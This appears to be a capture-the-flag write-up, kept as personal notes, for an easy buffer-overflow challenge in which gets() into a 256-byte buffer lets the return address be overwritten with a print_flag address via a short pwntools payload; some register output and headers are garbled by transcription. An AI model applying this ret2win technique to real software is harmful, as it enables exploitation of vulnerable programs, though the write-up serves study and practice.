Return (Easy) - Pwn

Sunday, April 30, 2023

2:18 AM

Description

Navigate the maze of memory and claim your prize.

Solution

Ghidra shows there's a buffer of 256 but it's using gets.

```
pecompile: main - (challenge23)

indefined8 main(void)

4 {
    char local_108 [256];
    banner();
    printf("\n\n\may I ask what your name is? ");
    gets(local_108);
    printf("Good luck %s!\n",local_108);
    return 0;
}
```

Cyclic 300 with pwndbg to trigger the seg fault

Check the offset by checking the first 8 bytes from RSP.

```
| New | New
```

Notice the RIP is overwritten

```
RCX 0-00
ROX 0-00
ROX 0-001
ROX 0-00
```

Since there's no protection on the binary, simply get the address of print_flag function from pwndbg.

```
payload += p64(0x4011f6)

payload += b"\n"

r.sendline(payload)

# success(f'Flag --> {r.recvline_contains(b"NCC{", timeout = 0.2).strip().decode()}')

print(r.recvuntil('}'))

...
```

Flag: NCC{r3t_2_w1ns_4r3_fuN}